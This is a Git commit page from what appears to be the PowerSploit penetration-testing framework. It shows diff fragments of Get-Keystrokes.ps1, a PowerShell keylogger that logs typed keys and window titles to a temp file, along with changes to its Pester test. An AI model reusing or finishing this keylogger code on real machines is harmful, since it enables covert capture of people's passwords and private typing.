Gh0st
/
PowerSploit
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

Fixed Pester/PassThru

This commit is contained in:
Jesse Davis 2016-01-13 22:19:06 -06:00
parent 759bd481ae d133db696a
commit 414daa60b8
2 changed files with 12 additions and 12 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
Exfiltration/Get-Keystrokes.ps1
View File

@ -40,8 +40,8 @@ function Get-Keystrokes {
[CmdletBinding()] [CmdletBinding()]
Param ( Param (
[Parameter(Position = 0)] [Parameter(Position = 0)]
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})] [ValidateScript({(Test-Path (Resolve-Path (Split-Path -Parent -Path $_)) -PathType Container)})]
[String]$LogPath = "$($Env:TEMP)\key.log", [String]$LogPath = "$($env:TEMP)\key.log",
[Parameter(Position = 1)] [Parameter(Position = 1)]
[Double]$Timeout, [Double]$Timeout,
@ -52,6 +52,9 @@ function Get-Keystrokes {
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath) $LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
try { '"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode }
catch { throw $_ }
$Script = { $Script = {
Param ( Param (
[Parameter(Position = 0)] [Parameter(Position = 0)]
@ -161,8 +164,6 @@ function Get-Keystrokes {
#endregion Imports #endregion Imports
'"TypedKey","WindowTitle","Time"' | Out-File -FilePath $LogPath -Encoding unicode
$CallbackScript = { $CallbackScript = {
Param ( Param (
[Parameter()] [Parameter()]
@ -218,7 +219,7 @@ function Get-Keystrokes {
111 { $Key = "/" } 111 { $Key = "/" }
} }
} }
elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 221)) { elseif (($vKey -ge 48 -and $vKey -le 57) -or ($vKey -ge 186 -and $vKey -le 192) -or ($vKey -ge 219 -and $vKey -le 222)) {
if ($Shift) { if ($Shift) {
switch ($vKey.value__) { # Shiftable characters switch ($vKey.value__) { # Shiftable characters
48 { $Key = ')' } 48 { $Key = ')' }
@ -241,7 +242,7 @@ function Get-Keystrokes {
219 { $Key = '{' } 219 { $Key = '{' }
220 { $Key = '|' } 220 { $Key = '|' }
221 { $Key = '}' } 221 { $Key = '}' }
222 { $Key = '"' } 222 { $Key = '<Double Quotes>' }
} }
} }
else { else {
@ -266,7 +267,7 @@ function Get-Keystrokes {
219 { $Key = '[' } 219 { $Key = '[' }
220 { $Key = '\' } 220 { $Key = '\' }
221 { $Key = ']' } 221 { $Key = ']' }
222 { $Key = "`'" } 222 { $Key = '<Single Quote>' }
} }
} }
} }

9
Tests/Exfiltration.tests.ps1
View File

@ -25,10 +25,9 @@ Describe 'Get-Keystrokes' {
$KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv $KeyObjects = Get-Content -Path "$($env:TEMP)\key.log" | ConvertFrom-Csv
It 'Should log all keystrokes' { It 'Should log keystrokes' {
$Keys = $KeyObjects | % { $_.TypedKey } $FileLength = (Get-Item "$($env:TEMP)\key.log").Length
$String = -join $Keys $FileLength | Should BeGreaterThan 14
$String | Should Match 'Pester'
} }
It 'Should get foreground window title' { It 'Should get foreground window title' {
@ -52,4 +51,4 @@ Describe 'Get-Keystrokes' {
} }
Remove-Item -Force "$($env:TEMP)\key.log" Remove-Item -Force "$($env:TEMP)\key.log"
} }